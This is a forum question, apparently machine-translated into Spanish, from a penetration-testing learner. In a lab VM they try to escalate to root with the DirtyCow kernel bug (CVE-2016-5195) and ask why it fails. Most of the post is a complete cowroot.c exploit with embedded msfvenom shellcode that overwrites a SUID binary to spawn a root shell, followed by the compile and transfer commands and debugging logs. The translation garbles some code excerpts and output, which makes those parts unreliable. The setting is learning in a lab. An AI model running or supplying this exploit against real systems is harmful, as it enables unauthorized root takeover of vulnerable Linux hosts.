Estoy tratando de aprender Pruebas de penetración. Mientras aprendía, también intentaba practicar por mi cuenta. Encontré una imagen vulnerable llamada ICE 120 en internet que es una aplicación web vulnerable y pude obtener nombres de usuario y hashes para el sistema después de explotar la inyección de SQL.
Ahora, mientras había iniciado sesión en ese sistema con un usuario no privilegiado, intentaba escalar el privilegio utilizando la vulnerabilidad de CVC-2016-5195 de dirtycow.
Encuentre la información a continuación sobre el kernel y un código de muestra que estaba usando de github, pero parece que no está funcionando. Como soy un principiante, realmente apreciaría su guía para comprender si estoy haciendo algo mal o si el núcleo no es explotable en absoluto. Tenga en cuenta que estoy usando una imagen de máquina virtual para practicar esto.
Kernel de la víctima:
/home/jdavenport >>uname -a
Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-3630QM CPU @ 2.40GHz GenuineIntel GNU/Linux
/home/jdavenport >>
Estoy usando el siguiente código de github (he intentado algunas otras variaciones de github que usan el mismo concepto de dirtycow). He compilado este código en realidad en la máquina Kali (otra máquina virtual en mi laboratorio de pruebas como máquina atacante) usando "gcc -o cowroot cowroot.c -m32 -pthread" mientras la máquina víctima lanzaba algún error de compilación para "tipo de estructura no válido ". Luego utilicé scp para transferir el código binario del código a mi máquina víctima.
scp cowroot [email protected]:/home/jdavenport/cowroot1
Para su información, mi Kali Kernel es el siguiente
Linux kali 4.8.0-kali2-amd64 # 1 SMP Debian 4.8.15-1kali1 (2016-12-23) x86_64 GNU / Linux.
El código Dirtycow que he usado es el siguiente:
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
* @robinverton
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;
// change if no permissions to read
char suid_binary[] = "/etc/passwd";
/*
* msfvenom -p linux/x64/exec CMD="echo '0' > /proc/sys/vm/dirty_writeback_centisecs;/bin/bash" PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4e, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x3c, 0x00, 0x00, 0x00, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x27, 0x30, 0x27,
0x20, 0x3e, 0x20, 0x2f, 0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73,
0x2f, 0x76, 0x6d, 0x2f, 0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72,
0x69, 0x74, 0x65, 0x62, 0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74,
0x69, 0x73, 0x65, 0x63, 0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62,
0x61, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 227;
*/
/*
* msfvenom -p linux/x86/exec CMD="echo '0' > /proc/sys/vm/dirty_writeback_centisecs;/bin/bash" PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xba, 0x00, 0x00, 0x00,
0x20, 0x01, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x3c, 0x00, 0x00, 0x00,
0x65, 0x63, 0x68, 0x6f, 0x20, 0x27, 0x30, 0x27, 0x20, 0x3e, 0x20, 0x2f,
0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73, 0x2f, 0x76, 0x6d, 0x2f,
0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x62,
0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74, 0x69, 0x73, 0x65, 0x63,
0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00,
0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 186;
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("thread stopped\n");
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf("thread stopped\n");
}
void *waitForWrite(void *arg) {
char buf[sc_len];
for(;;) {
FILE *fp = fopen(suid_binary, "rb");
fread(buf, sc_len, 1, fp);
if(memcmp(buf, sc, sc_len) == 0) {
printf("%s overwritten\n", suid_binary);
break;
}
fclose(fp);
sleep(1);
}
stop = 1;
printf("Popping root shell.\n");
printf("Don't forget to restore /tmp/bak\n");
system(suid_binary);
}
int main(int argc,char *argv[]) {
char *backup;
printf("DirtyCow root privilege escalation\n");
printf("Backing up %s to /tmp/bak\n", suid_binary);
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);
f = open(suid_binary,O_RDONLY);
fstat(f,&st);
printf("Size of binary: %d\n", st.st_size);
char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, sc, sc_len+1);
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("Racing, this may take a while..\n");
pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);
return 0;
}
Después de ejecutar el código, simplemente se completa sin abrir un shell nuevo ni nada.
/home/jdavenport >>./cowroot1
DirtyCow root privilege escalation
Backing up /etc/passwd to /tmp/bak
Size of binary: 3372
Racing, this may take a while..
thread stopped
thread stopped
* Actualización 08/04/2017 * Según lo recomendado por Josh, ahora he modificado el programa cowroot c con el binario SUID correcto, que también tiene permiso de lectura para usuarios sin privilegios.
jdavenport@slax:/usr/bin$ ls -lrt kcheckpass
-rwsr-xr-x 1 root root 10104 Oct 26 2008 kcheckpass*
Todavía no puedo explotar la vulnerabilidad. En mi mente, podría haber un par de razones -
- El kernel no es vulnerable
Mi argumento es que la versión del kernel muestra que debería ser vulnerable
jdavenport@slax:/usr/bin$ uname -a
Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-3630QM CPU @ 2.40GHz GenuineIntel GNU/Linux
jdavenport@slax:/usr/bin$
: el código de explotación no funciona como se esperaba.
-
Creo que puedo haber encontrado una razón y está relacionada con el subprocesamiento.
-
He leído el concepto de copia sucia en el exploit de escritura y parece que es totalmente dependiente de la condición de carrera debido a dos simultáneos hilos que intentan trabajar (madvise y escritura privada) en el archivo.
-
He modificado el programa C para imprimir dentro de los hilos y redirigido a un archivo de registro para su posterior análisis Un extracto es el siguiente:
void * madviseThread (void * arg) { char str; str = (char ) arg; int i, c = 0; para (i = 0; i < 10000000 & &! stop; i ++) { c + = madvise (mapa, 100, MADV_DONTNEED); printf ("t1 = >% d \ n", c); } printf ("hilo detenido \ n"); }
void * procselfmemThread (void * arg) { char str; str = (char ) arg; int f = abierto ("/ proc / self / mem", O_RDWR); int i, c = 0; para (i = 0; i < 10000000 & &! stop; i ++) { lseek (f, mapa, SEEK_SET); c + = escribir (f, str, sc_len); printf ("t2 = >% d \ n", c); } printf ("hilo detenido \ n"); }
- Al analizar los registros, parece que los subprocesos funcionan en un clúster forma por ejemplo manojo de ejecución del hilo 1 y luego manojo de ejecución del hilo 2. Un ejemplo: mientras se cuenta la primera aparición del subproceso 2 se encuentra después de 35142 líneas
root @ kali: ~ # grep -n "t2 = > -1" cowlog.txt | cabeza -10
35413: t2 = > -1 35422: t2 = > -10 35423: t2 = > -11 35424: t2 = > -12 35425: t2 = > -13 35426: t2 = > -14 35427: t2 = > -15 35428: t2 = > -dieciséis 35429: t2 = > -17 35430: t2 = > -18
-
Mi versión de GCC desde donde compilé el código es la siguiente
root @ kali: ~ # gcc --version
gcc (Debian 6.3.0-11) 6.3.0 20170321 Copyright (C) 2016 Free Software Foundation, Inc. Este es un software libre; ver la fuente de las condiciones de copia. No hay garantía; ni siquiera por COMERCIABILIDAD o APTITUD PARA UN PROPÓSITO EN PARTICULAR.
root @ kali: ~ #
Y he compilado mi programa usando el siguiente
gcc -o cowroot cowroot.c -m32 -pthread
Su consejo experto sería muy apreciado.